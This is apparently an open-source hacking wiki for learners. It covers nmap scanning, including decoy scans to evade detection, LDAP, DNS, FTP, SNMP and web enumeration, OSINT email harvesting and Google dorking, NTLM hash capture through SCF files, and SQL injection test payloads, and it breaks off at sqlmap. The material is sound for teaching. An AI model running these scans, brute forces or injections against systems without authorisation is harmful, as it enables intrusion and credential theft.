This is an aspiring project aimed at accumulating knowledge from the world of cybersecurity and presenting it in a cogent way, so it is accessible to as large an audience as possible and so that everyone has a good resource to learn hacking from.

MIT License

Copyright (c) 2023 Cyberclopaedia

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Overview

The Cyberclopaedia is open to contribution from everyone via pull requests on the Cyberclopaedia GitHub repository. When contributing new content, please ensure that it is as relevant as possible, contains detailed (and yet tractable) explanations and is accompanied by diagrams where appropriate.

In-Scope

You should only make changes inside the eight category folders under the Notes/ directory. Minor edits to already existing content outside of the aforementioned allowed directories are permitted as long as they do not bring any semantic change - for example fixing typos.

Out-of-Scope

Any major changes outside of the eight category folders in the Notes/ directory are not permitted and will be rejected.

Structure

Cyberclopaedia content is organised in the following eight categories: Reconnaissance, Exploitation, Post Exploitation, System Internals, Reverse Engineering, Hardware Hacking, Cryptography and Networking. You should organise your content within them. If you feel like it is completely unable to fit in one of these categories (highly unlikely), you are still encouraged to submit your pull request. It will be reviewed and you will be either instructed to move your content to an already existing category which was deemed appropriate, or your new category will be implemented. Note that the name of the new category may not be the same as the one suggested by you if a different name is more pertinent.

Inside the eight category directories, you are free to create as many new folders and go as many layers deep as you like. Nevertheless, you should still strive to abide by the already existing structure.

Naming

All file and directory names should follow Title Case.

Folder Organisation

Each folder you create must have the following structure:

Images, such as diagrams, are respectively placed in the Resources/Images subdirectory. Every page in your main folder should be reflected in this subdirectory by means of an eponymous folder within Resource/Images. Any images used in this page would then go in Resource/Images/Page Name.

The index.md file is required by mdBook. This is the file which gets rendered when someone clicks on the folder name in the website's table of contents. Ideally, it should contain an overview of or introduction to the content inside the directory, but you may also leave it empty.

Page Structure

Ideally, pages should begin with an introduction or overview section - for example, with an # Introduction or # Overview heading.

The name of any new major topic in a page should be indicated with a Heading 1 style. From then on, subtopics should be introduced with Heading 2, 3 and so on.

For links and images, do NOT use wiki-links style. Instead, use the standard (text)[link] or !()[path] paradigms. Note that images should be isolated by an empty line both above and below.

LaTeX is done using the $ delimiters for inline equations and the $$ delimiters for blocks. The latter should be isolated by an empty line both above and below, just like images. If you want to insert a dollar sign, prepend it with a backslash or put it in a code block.

Toolchain

• Website building: The Cyberclopaedia website is built using mdBook. The summary file is automatically created with the summarise.py script in the Scripts directory. Do NOT run this script or build the book yourself when contributing content to the Cyberclopaedia. This is done only by reviewers in order to avoid unnecessary merge conflicts. An mdBook installation is NOT necessary for contributions.
• Markdown: Feel free to use your favourite markdown editor. Obsidian is an excellent free option.
• Diagrams: These should be in the form of vector .svg images. Diagrams should have a completely opaque, white background and appropriate padding. As a suggestion, you can use diagrams.net with the following export settings:

Licensing

All content inside the Cyberclopaedia, including contributions, is subject to the MIT licence. By contributing, you guarantee that any content you submit is compatible with this licence.

Knowledge should be free.

Introduction

Overview

Network scanning is the process of gathering information about a target via comlex reconnaissance techniques. The term "network scanning" refers to the procedures used for discovering hosts, ports, running services and information about the underlying OS type.

Types of scanning

Port Scanning

Lists the open ports and the services running on them. Port scanning describes the process of querying the running services on a computer by sending a stream of messages in an attempt to identify the service in question, as well as any information related to it. It involves probing TCP and UDP ports of a target system in order to determine if a service is running / listening.

Network Scanning

This is the process of discovering active hosts on a network, either for attacking them or assessing the overall network security.

Vulnerability Scanning

Reveals the presence of known vulnerabilities. It checks whether a system is exploitable through a set of weaknesses. Such a scanner consists of a catalog and a scanning engine. The catalog contains information about known vulnerabilities and exploits for them that work on a multitude of servers. The scanning engine is responsible for the logic behind the exploitation and analysis of the results.

Introduction

All services which need to somehow interface with the network a host is connected to run on ports and port scanning allows us to enumerate them in order to gather information such as what service is running, which version of the service is running, OS information, etc.

The de-facto standard port scanner is nmap, although alternatives such as masscan and RustScan do exist.

TCP vs UDP

There are two types of ports depending on the transport-layer protocol that they support. Both TCP and UDP ports range from 0 to 65535 but they are completely separate. For example, DNS uses UDP port 53 for queries but it uses TCP port 53 for zone transfers.

To scan UDP ports, nmap requires elevated privileges and the -sU flag.

nmap -sU <target>

Port States

When scanning, nmap will determine that a port is in one of the following states:

• open - an application is actively listening for TCP connections, UDP datagrams or SCTP associations on this port
• closed - the port is accessible (it receives and responds to Nmap probe packets), but there is no application listening on it
• filtered - Nmap cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. Usually, the filter sends no response, so Nmap needs to resend the probe a few times in order to be sure that it wasn't dropped due to traffic congestion. This slows the scan drastically
• unfiltered - the port is accessible, but Nmap is unable to determine whether it is open or closed. Only the ACK scan, used for mapping firewall rulesets, may put ports in this state
• open|filtered - Nmap is unable to determine whether the port is open or filtered. This occurs for scan types in which open ports give no response
• closed|filtered - Nmap is unable to determine whether the port is closed or filtered. It is only used for the IP ID idle scan.

By default, nmap scans only the 1000 most common TCP ports. One can scan specific ports by listing them separated by commas directly after the -p flag.

nmap -pport1,port2,... <target>

If no ports are specified after the -p flag, nmap will scan all ports (either UDP or TCP depending on the type of scan).

nmap -p <target>

SYN Scan

This is the type of scan which nmap defaults to when run with elevated privileges and is also also referred to as a "stealth scan". Nmap sends a SYN packet to the target, initiating a TCP connection. The target responds with SYN ACK, telling Nmap that the port is accessible. Finally, Nmap terminates the connection before it's finished by issuing an RST packet.

This type of scan can also be specified using the -sS option.

Decoy Scans

One way to avoid detection when port scanning is to flood the logs with fake scans. Whilst your IP will still be present in them, so will a bunch of other random IP addresses, thus making it difficult to pinpoint you as the source of the port scan.

This can be done by using the -D RND:<number> flag with Nmap, where <number> is the number of fake IPs you want Nmap to generate. When you run the scan, Nmap will duplicate all packets it sends and it will spoof their IPs to random ones:

As we can see, Nmap generated a bunch of fake packets by spoofing multiple source IPs in order to make it difficult to figure out the actual source of the scan.

TCP Connect Scan

This is the default scan for nmap when it does not have elevated privileges. It initiates a full TCP connection and as a result can be slower. Additionally, it is also logged at the application level.

This type of scan can also be specified via the -sT option.

Overview

These scan types make use of a small loophole in the TCP RFC to differentiate between open and closed ports. RFC 793 dictates that "if the destination port state is CLOSED .... an incoming segment not containing a RST causes a RST to be sent in response.” It also says the following about packets sent to open ports without the SYN, RST, or ACK bits set: “you are unlikely to get here, but if you do, drop the segment, and return".

Scanning systems compliant with this RFC text, any packet not containing SYN, RST, or ACK bits will beget an RST if the port is closed and no response at all if the port is open. So long as none of these flags are set, any combination of the other three (FIN, PSH, and URG) is fine.

These scan types can sneak through certain non-stateful firewalls and packet filtering routers and are a little more stealthy than even a SYN scan. However, not all systems are compliant with RFC 793 - some send a RST even if the port is open. Some operating systems that do this include Microsoft Windows, a lot of Cisco devices, IBM OS/400, and BSDI. These scans will work against most Unix-based systems.

It is not possible to distinguish an open from a filtered port with these scans, hence why the port states will be open|filtered.

Null Scan

Doesn't set any flags. Since null scanning does not set any set flags, it can sometimes penetrate firewalls and edge routers that filter incoming packets with certain flags. It is invoked with the -sN option:

FIN Scan

Sets just the FIN bit to on. It is invoked with -sF:

Xmas Scan

Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree. It is performed through the -sX option:

Introduction

Apart from being the most powerful port scanner, nmap also has its own Nmap Scripting Engine (NSE) which greatly extends its functionality and can turn nmap into a lightweight vulnerability scanner. Invoking scripts is really easy to do and is done with the --script option:

nmap --script <script name> <target>

Nmap Scripts

Nmap comes with a bunch of scripts by default, all of which are stored under /usr/share/nmap/scripts in Kali Linux and are index in a database file called scripts.db. These scripts are divided into several categories, but the ones which matter for vulnerability scanning are under the vuln category.

To view the categories of a specific script, one can use the following command:

cat /usr/share/nmap/scripts/script.db | grep <script>

You might have noticed that the same script can belong to multiple categories. The safe category contains scripts which are safe to run and will not damage the target system, while scripts in the intrusive category may crash the target.

One can also install custom scripts from the Internet, usually found on GitHub. Once you have downloaded the .nse file, you need to place it in /usr/share/nmap/scripts/ and run the following command to update Nmap's script database:

sudo nmap --script-updatedb

Introduction

The Leightweight Directory Access Protocol (LDAP) is a protocol which facilitates the access and locating of resources within networks set up with directory services. It stores valuable data such as user information about the organisation in question and has functionality for user authentication and authorisation.

What makes LDAP especially easy to enumerate is the possible support of null credentials and the fact that even the most basic domain user credentials will suffice to enumerate a substantial portion of the domain.

LDAP runs on the default ports 389 and 636 (for LDAPS), while Global Catalog (Active Directory's instance of LDAP) is available on ports 3268 and 3269.

Tools which can be used to enumerate LDAP include ldapsearch and windapsearch.

Sniffing Clear Text Credentials

LDAP stores its data in a plain-text format which is human-readable. If the secure version of the protocol is not used (LDAP over SSL), then you can just sniff for credentials over the network. The simplest way to do this is to use Wireshark with the following filter:

ldap.authentication

Credentials Validation

You should always first check if null credentials are valid:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<DOMAIN>,DC=<TLD>"

If the response contains something about "bind must be completed", then null credentials are not valid.

A similar command can be used to check for the validity of a set of credentials:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<DOMAIN>,DC=<TLD>"

Enumerating the Database

ldapsearch is an exceptionally powerful tool because it allows you to use filters to find objects within LDAP by searching by their attributes.

Extract Users:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b 'DC=<DOMAIN>,DC=<TLD>' '(&(objectClass=user)(!(objectClass=computer)))'

Extract Computers:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b 'DC=<DOMAIN>,DC=<TLD>' '(objectclass=computer)'

Enumerating BIND servers with CHAOS

The BIND software is the most commonly used name server software, which supports CHAOSNET queries. This can be used to query the name server for its software type and version. We are no longer querying the domain name system but are instead requesting information about the BIND instance. Our queries will still take the form of domain names - using .bind as the top-level domain. The results from such a query are returned as TXT records. Use the following syntax for quering BIND with the CHAOS class:

dig @<name server> <class> <domain name> <record type>

┌──(cr0mll@kali)-[~]-[]
└─$ dig @192.168.129.138 chaos version.bind txt 

; <<>> DiG 9.16.15-Debian <<>> @192.168.129.138 chaos version.bind txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38138
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;version.bind.                  CH      TXT

;; ANSWER SECTION:
version.bind.           0       CH      TXT     "9.8.1"

;; AUTHORITY SECTION:
version.bind.           0       CH      NS      version.bind.

;; Query time: 0 msec
;; SERVER: 192.168.129.138#53(192.168.129.138)
;; WHEN: Tue Sep 14 16:24:35 EEST 2021
;; MSG SIZE  rcvd: 73

Looking at the answer section, we see that this name server is running BIND 9.8.1. Other chaos records you can request are hostname.bind, authors.bind, and server-id.bind.

DNS Zone Transfer

A Zone transfer request provides the means for copying a DNS zone file from one name server to another. This, however, only works over TCP. By doing this, you can obtain all the records of a DNS server for a particular zone. This is done through the AXFR request type:

dig @<name server> AXFR <domain>

┌──(cr0mll0@kali)-[~]-[]
└─$ dig @192.168.129.138 AXFR nsa.gov 

; <<>> DiG 9.16.15-Debian <<>> @192.168.129.138 AXFR nsa.gov
; (1 server found)
;; global options: +cmd
nsa.gov.                3600    IN      SOA     ns1.nsa.gov. root.nsa.gov. 2007010401 3600 600 86400 600
nsa.gov.                3600    IN      NS      ns1.nsa.gov.
nsa.gov.                3600    IN      NS      ns2.nsa.gov.
nsa.gov.                3600    IN      MX      10 mail1.nsa.gov.
nsa.gov.                3600    IN      MX      20 mail2.nsa.gov.
fedora.nsa.gov.         3600    IN      TXT     "The black sparrow password"
fedora.nsa.gov.         3600    IN      AAAA    fd7f:bad6:99f2::1337
fedora.nsa.gov.         3600    IN      A       10.1.0.80
firewall.nsa.gov.       3600    IN      A       10.1.0.105
fw.nsa.gov.             3600    IN      A       10.1.0.102
mail1.nsa.gov.          3600    IN      TXT     "v=spf1 a mx ip4:10.1.0.25 ~all"
mail1.nsa.gov.          3600    IN      A       10.1.0.25
mail2.nsa.gov.          3600    IN      TXT     "v=spf1 a mx ip4:10.1.0.26 ~all"
mail2.nsa.gov.          3600    IN      A       10.1.0.26
ns1.nsa.gov.            3600    IN      A       10.1.0.50
ns2.nsa.gov.            3600    IN      A       10.1.0.51
prism.nsa.gov.          3600    IN      A       172.16.40.1
prism6.nsa.gov.         3600    IN      AAAA    ::1
sigint.nsa.gov.         3600    IN      A       10.1.0.101
snowden.nsa.gov.        3600    IN      A       172.16.40.1
vpn.nsa.gov.            3600    IN      A       10.1.0.103
web.nsa.gov.            3600    IN      CNAME   fedora.nsa.gov.
webmail.nsa.gov.        3600    IN      A       10.1.0.104
www.nsa.gov.            3600    IN      CNAME   fedora.nsa.gov.
xkeyscore.nsa.gov.      3600    IN      TXT     "knock twice to enter"
xkeyscore.nsa.gov.      3600    IN      A       10.1.0.100
nsa.gov.                3600    IN      SOA     ns1.nsa.gov. root.nsa.gov. 2007010401 3600 600 86400 600
;; Query time: 4 msec
;; SERVER: 192.168.129.138#53(192.168.129.138)
;; WHEN: Fri Sep 17 22:38:47 EEST 2021
;; XFR size: 27 records (messages 1, bytes 709)

Introduction

The File Transfer Protocol (FTP) is a common protocol which you may find during a penetration test. It is a TCP-based protocol and runs on port 21. Luckily, its enumeration is simple and rather straight-forward.

You can use the ftp command if you have credentials:

ftp <ip>

You can then proceed with typical navigation commands like dir, cd, pwd, get and send to navigate and interact with the remote file system.

If you don't have credentials you can try with the usernames guest, anonymous, or ftp and an empty password in order to test for anonymous login.

Introduction

You will need working knowledge of SNMP in order to follow through.

SNMP Enumeration using snmp-check

snmp-check is a simple utility for basic SNMP enumeration. You only need to provide it with the IP address to enumerate:

snmp-check [IP]

Furthermore, you have the following command-line options:

• -p: Change the port to enumerate. Default is 161.
• -c: Change the community string to use. Default is public
• -v: Change the SNMP version to use. Default is v1.

There are additional arguments that can be provided but these are the salient ones.

SNMP Enumeration using snmpwalk

snmpwalk is a much more versatile tool for SNMP enumeration. It's syntax is mostly the same as snmp-check:

Bruteforce community strings with onesixtyone

Notwithstanding its age, onesixtyone is a good tool which allows you to bruteforce community strings by specifying a file instead of a single string with its -c option. It's syntax is rather simple:

Obtaining Version Information

Web servers usually run on port 80 or 443 depending on whether they run HTTP or HTTPS. Version information about the underlying web server application can be obtained via nmap using the -sV option.

nmap -p80,443 -sV <target>

We can also use the http-enum NSE script which will perform some basic web server enumeration for us:

nmap -p80 --script=http-enum <target>

Directory Brute Force

This is the first step one needs to take after discovering a web application. The goal is to identify all publicly-accessible routes on the server such as files, directories and API endpoints. In order to do so, we can use various tools such as gobuster and feroxbuster.

The technique works by sampling common file and directory names from a wordlist and then querying the server with these routes. Depending on the response code the server returns, one can determine which routes are publicly-accessible, which ones require some sort of authentication and which ones simply do not exist on the server.

The basic syntax for feroxbuster is the following:

feroxbuster -u <target> -w <wordlist>

The 200's (green) codes indicate a file or directory that is publicly accessible. The 300's (orange) code numbers represent a web page which redirects to another page. This may be because we are currently not authenticated as a user who can view said page. The 400's (red) codes represent errors. More specifically, 404 means that the web page does not exist on the server and 403 means that the page does exists, but we are not allowed to access it.

In contrast to other directory brute forcing tools, feroxbuster is recursive by default. If it finds a directory, it is going to begin brute forcing its contents as well. This is useful because it generates a comprehensive list of most, if not all, files and directories on the server. Nevertheless, this does usually take a lot of time. This behaviour can be disabled by using the --no-recursion flag.

feroxbuster also supports appending filename extensions by using the -x <extension> command-line argument. This can come in handy, for example, when one has discovered the primary language / framework used on the server (PHP, ASPX, etc.).

Introduction

Open-source Intelligence (OSINT), also known as passive information gathering, is the process of collecting public information about a target without actually directly interacting with said target.

When this is definition is strictly followed, OSINT is undetectable and maintains a high level of secrecy due to its passive nature. If we only rely on third parties and never connect to the target's servers or applications directly, then there is no way for them to know that open-source intelligence is being conducted on them.

However, this is often quite limiting so we usually do allow for some direct interaction with the target but only as a normal user would. For example, if the target allowed us to register an account, then we would. But we wouldn't immediately start fuzzing input fields at this stage.

Grabbing E-Mails from Google using goog-mail.py

goog-mail.py is a useful script used for getting email addresses from Google search results. Its author is unknown, but the script is available in many different places online.

1. You will need to download the script from https://github.com/leebaird/discover/blob/master/mods/goog-mail.py (or any other place you found it)

wget https://raw.githubusercontent.com/leebaird/discover/master/mods/goog-mail.py

┌──(backslash0㉿kali)-[~/MHN/Reconnaissance/OSINT]
└─$ wget https://raw.githubusercontent.com/leebaird/discover/master/mods/goog-mail.py                                                                                                                                                    1 ⨯
--2021-09-06 10:05:18--  https://raw.githubusercontent.com/leebaird/discover/master/mods/goog-mail.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.108.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2103 (2.1K) [text/plain]
Saving to: ‘goog-mail.py’

goog-mail.py.1                                              100%[========================================================================================================================================>]   2.05K  --.-KB/s    in 0s      

2021-09-06 10:05:18 (41.9 MB/s) - ‘goog-mail.py’ saved [2103/2103]

2. Run the script providing a domain_name

python2 goog-mail.py [domain_name]

┌──(backslash0㉿kali)-[~/MHN/Reconnaissance/OSINT]
└─$ python2 goog-mail.py uk.ibm.com
ukclubom@uk.ibm.com
martyn.spink@uk.ibm.com
gfhelp@uk.ibm.com
iand_ferguson@uk.ibm.com
graham.butler@uk.ibm.com
laurence.carpanini@uk.ibm.com
Pensions@uk.ibm.com
Bennett@uk.ibm.com
ibm_crc@uk.ibm.com
brian.mcglone@uk.ibm.com
wakefim@uk.ibm.com

3. Make sure the emails look valid

Other tools

Another very good tool for this purpose is theHarvester.

Using whois for gathering domain name and IP address information

whois is a tool for finding domain name and IP address information which can be used as part of your OSINT gathering because it uses public data sources. You can use it as follows:

whois <hostname>

┌──(backslash0@kali)-[~]-[]
└─$ whois tesla.com                                                                                                                                                                                                                      1 ⨯
   Domain Name: TESLA.COM
   Registry Domain ID: 187902_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.markmonitor.com
   Registrar URL: http://www.markmonitor.com
   Updated Date: 2020-10-02T09:07:57Z
   Creation Date: 1992-11-04T05:00:00Z
   Registry Expiry Date: 2022-11-03T05:00:00Z
   Registrar: MarkMonitor Inc.
   Registrar IANA ID: 292
   Registrar Abuse Contact Email: abusecomplaints@markmonitor.com
   Registrar Abuse Contact Phone: +1.2083895740
   Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
   Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
   Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
   Domain Status: serverDeleteProhibited https://icann.org/epp#serverDeleteProhibited
   Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
   Domain Status: serverUpdateProhibited https://icann.org/epp#serverUpdateProhibited
   Name Server: A1-12.AKAM.NET
   Name Server: A10-67.AKAM.NET
   Name Server: A12-64.AKAM.NET
   Name Server: A28-65.AKAM.NET
   Name Server: A7-66.AKAM.NET
   Name Server: A9-67.AKAM.NET
   Name Server: EDNS69.ULTRADNS.BIZ
   Name Server: EDNS69.ULTRADNS.COM
   Name Server: EDNS69.ULTRADNS.NET
   Name Server: EDNS69.ULTRADNS.ORG
   DNSSEC: unsigned
   URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2021-09-14T09:01:10Z <<<

Using host for quick lookups

host is DNS querying tool which can be used for quick lookups. It will often return more than a single IP address:

host <hostname or IP>

┌──(backslash0@kali)-[~]-[]
└─$ host google.com                
google.com has address 172.217.169.174
google.com has IPv6 address 2a00:1450:4017:80a::200e
google.com mail is handled by 10 aspmx.l.google.com.
google.com mail is handled by 20 alt1.aspmx.l.google.com.
google.com mail is handled by 40 alt3.aspmx.l.google.com.
google.com mail is handled by 30 alt2.aspmx.l.google.com.
google.com mail is handled by 50 alt4.aspmx.l.google.com.

You can also do reverse name lookups by supplying an IP address:

┌──(backslash0@kali)-[~]-[]
└─$ host 8.8.8.8        
8.8.8.8.in-addr.arpa domain name pointer dns.google.

A special domain in-addr.arpa is used for reverse DNS lookups. You can read more about it here.

Querying name servers with dig

dig is a tool for performing DNS queries. It can be used to request specific resource records such as the SOA.

dig <domain> SOA

┌──(backslash0@kali)-[~]-[]
└─$ dig google.com SOA

; <<>> DiG 9.16.15-Debian <<>> google.com SOA
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41904
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; MBZ: 0x0005, udp: 512
;; QUESTION SECTION:
;google.com.                    IN      SOA

;; ANSWER SECTION:
google.com.             5       IN      SOA     ns1.google.com. dns-admin.google.com. 396314134 900 900 1800 60

;; Query time: 8 msec
;; SERVER: 192.168.129.2#53(192.168.129.2)
;; WHEN: Tue Sep 14 15:43:28 EEST 2021
;; MSG SIZE  rcvd: 89

We can see that the SOA is listed as ns1.google.com in the ANSWER SECTION. You can find the IP of this name server with dig, too.

┌──(backslash0@kali)-[~]-[]
└─$ dig ns1.google.com

; <<>> DiG 9.16.15-Debian <<>> ns1.google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41311
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; MBZ: 0x0005, udp: 512
;; QUESTION SECTION:
;ns1.google.com.                        IN      A

;; ANSWER SECTION:
ns1.google.com.         5       IN      A       216.239.32.10

;; Query time: 43 msec
;; SERVER: 192.168.129.2#53(192.168.129.2)
;; WHEN: Tue Sep 14 15:47:51 EEST 2021
;; MSG SIZE  rcvd: 59

Note that usually the SOA for domains of smaller organizations, isn't actually a part of that domain, but is instead a server provided by a hosting company.

Notice how in the answer section for google.com there was a dns-admin.google.com domain? That's actually not a domain, it's an email address and should be read as dns-admin@google.com. Yep, DNS stores emails in zone files, too. But how do you figure out which one is a hostname and which is an email address? The email address comes last.

dig can also be used to query specific name servers with the following syntax:

dig @<name server> <domain>

┌──(backslash0@kali)-[~]-[]
└─$ dig @192.168.129.138 nsa.gov     

; <<>> DiG 9.16.15-Debian <<>> @192.168.129.138 nsa.gov
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48156
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;nsa.gov.                       IN      A

;; AUTHORITY SECTION:
nsa.gov.                600     IN      SOA     ns1.nsa.gov. root.nsa.gov. 2007010401 3600 600 86400 600

;; Query time: 0 msec
;; SERVER: 192.168.129.138#53(192.168.129.138)
;; WHEN: Tue Sep 14 15:57:47 EEST 2021
;; MSG SIZE  rcvd: 81

Here we notice that there is no ANSWER SECTION, but there is an AUTHORITY SECTION. The queried server didn't reply with a direct answer to our request but instead pointed us to the name server responsible for answering queries about nsa.gov, which turns out to be ns1.nsa.gov.

Introduction

Whois is a service which can provide information about domain names. Domains are given out by registrars, and information about them is usually public because registrars charge extra for private registration.

In order to function, whois needs two things - a domain name to look up and a whois server. The whois server is a database which is periodically updated with information from various registrars about the domains associated with them.

Whois Look-up

The command itself is very simple.

whois <domain name>

As we can see, whois yielded information about the domain name's registrar, the time of creation, the time of the last update and much more. In fact, example.com uses private registration so this information is actually not that much. When the domain is publicly registered, a whois look-up can provide information such as the phone number, email address, ISP and country of residence of the person / organisation that owns the domain, additional domains owned by the same organisation as well as email servers.

It is also possible to specify a custom whois server with the -h flag.

whois <domain name> -h <whois server>

Reverse Whois Lookup

whois is also capable of obtaining information from an IP address.

whois <ip>

This is the result from the reverse whois lookup for the IP address of example.com. The reverse lookup provides us with information about who is hosting the IP. This time it yielded a person's name, an address and a phone number. Looking these up on Google, we see that they are actually associated with a physical office of edg.io.

Introduction

Goolge can be a very powerful tool in your OSINT toolkit. Google dorking or Google hacking is the art of using specially crafted Google queries to expose sensitive information on the Internet. Such a query is called a Google dork.

You may find all sorts of data and information, including exposed passwd files, lists with usernames, software versions, and so on.

A good resource for finding Google dorks is the Google Hacking Database located at https://www.exploit-db.com/google-hacking-database.

You shouldn't enter any spaces between the advanced search operator and the query.

Common operators

site: - restricts the search results to those only on the specified domain or site

inurl: - restricts results to pages containing the specified word in the URL

allinurl: - restricts results to pages containing all the specified words in the URL

intitle: - restricts results to pages containing the specified word in the title

allintitle: - restricts results to pages containing all the specified words in the title

inanchor: - restricts results to pages containing the specified word in the anchor text of links located on that page

• an anchor text is the text displayed for links instead of the URL

allinanchor: - restricts results to pages containing all the specified terms in the anchor text of links located on that page

cache: - displays Google's cached version of the webpage instead of the current version

link: - searches for pages that contain links pointing to the specified site or page

• you can't combine a link operator with a regular keyword query
• combining link: with other advanced search operators may not yield all the matching results

related: - displays websites similar or related to the one specified

info: - finds information about a specific page

location: - finds location information about a specific query

filetype: - restricts results to the specified filetype

Introduction

Subdomain enumeration is an essential step in the reconnaissance stage as any found subdomains increase the potential attack surface. Open-Source Intelligence techniques can be used to find subdomains for a given domain without interacting with the target in the slightest.

Subdomain Enumeration with Sublist3r

The first tool one usually hears about in regards to passive subdomain enumeration is Sublist3r. It is pre-installed on Kali Linux but one can easily install it on other systems by following the instructions on the GitHub repository. Its syntax is straight-forward:

sublist3r -d <domain> -o <output file>

Sublist3r will use various search engines to find and extract subdomains for the specified domain. Unfortunately, the tool was last updated in 2020 and so it does not perform as well as one would expect today.

Subdomain Enumeration with Amass

OWASP Amass is currently broken, so we are waiting for a fix before writing this section.

Finding Live Domains

The above enumeration techniques find subdomain candidates by crawling the Internet and examining thousands of web pages. This means that not all found subdomains will be valid or "live" - some subdomains may have been long taken down or they may have been moved to another place. Therefore, one needs to filter through the list of potential subdomains and see which ones are still accessible.

A great tool to do this is httprobe. To use it, you will need to install the Go language and then the tool itself:

sudo apt install golang-go;
go install github.com/tomnomnom/httprobe@latest

Its usage is fairly simple. You just need to pipe the file containing the potential subdomains into httprobe:

cat potential_subdomains.txt | httprobe

The tool will try to visit every subdomain in the list and will only return the subdomains which respond back. By default, it checks ports 80 and 443 for HTTP and HTTPS, respectively, but this behaviour can be overriden by providing -p <protocol>:<port> flags.

Exploitation

Windows

Introduction

Shell Command Files (SCF) permit a limited set of operations and are executed upon browsing to the location where they are stored. What makes them interesting is the fact that they can communicate through SMB, which means that it is possible to extract NTLM hashes from Windows hosts. This can be achieved if you are provided with write access to an SMB share.

The Attack

You will first need to create a malicious .scf file where you are going to write a simple (you can scarcely even call it that) script.

Web

Overview

The Structured Query Language (SQL) is a language designed for the management of relational databases. SQL injections vulnerabilities occur when user input is passed unsanitised to an SQL query and allow an attacker to alter the queries that an application sends to its database. This may enable the attacker to view data which they usually shouldn't have access to, edit this data arbitrarily, or modify the actual database in ways that they shouldn't be able to.

Types of SQL Injection

There are three main types of SQL injections:

1. In-band - the vulnerable application provides the query's result with the application-returned value

   • Error-based injections - information is extracted through error messages returned by the vulnerable application.
   • Union-based injections - these allow an adversary to concatenate the results of a malicious query to those of a legitimate one.

2. Out-of-band - the results from the attack are exfiltrated using a different channel than the one the query was issued through such as through an HTTP connection for sending results to a different web server or DNS tunneling

   • It requires specific extenstions to be enabled in the database management software.
   • The targated database server must be able to send outbound network requests without any restrictions.

3. Blind (Inferential) - they rely on changes in the behaviour of the database or application in order to extract information, since the actual data isn't sent back to the attacker

   • These are detected through time delays or boolean conditions.

Testing for SQL Injection

Testing for SQL injections is fairly straightforward but can be an onerous task. It constitutes inserting a single quote and then a payload such as ' SQL PAYLOAD into any user input field and observing the subsequent behaviour.

If the result from the query is directly embedded into the web page, then this is the simplest and most powerful type of in-band SQL injection because it provides us with a direct way to see the output of the query and exfiltrate data. When this type of SQL injection is present, one can use Union Injection to easily obtain information from the database.

Blind SQL Injection

Blind SQL injection occurs when an application is vulnerable to SQL injection, but the response page does not include the queried data or any specific database errors.

The first way to test for these is to use boolean conditions via the AND operator. If we suspect that a field is vulnerable to SQL injection, then we can first try the following payload:

legitimate value' and 1=1

This should result in no errors or odd behaviour regardless of any SQL injection that is present because 1=1 is always true and so the output depends only on the first part of the query. Next, we change the condition so that is always false:

legitimate value' and 1=2

This query will always fail if the application is vulnerable to SQL injection, since the condition 1=2 is always false. If we now observe a change in the behaviour of the application as compared to when the condition was 1=1, we can be fairly certain that the target is vulnerable to blind SQL injection.

The second way to test for blind SQL injections is by using time delays. The functions which trigger time delays are different across the various database engines, but the basic premise is the same - we send a payload which should cause a certain delay and then we check if the response time is close to the delay we specified. Following is a list of the various delay-causing payloads one can use with different database engines.

Automation

sqlmap is the go-to tool for automating SQL injection detection and exploitation.

Its basic syntax is as follows:

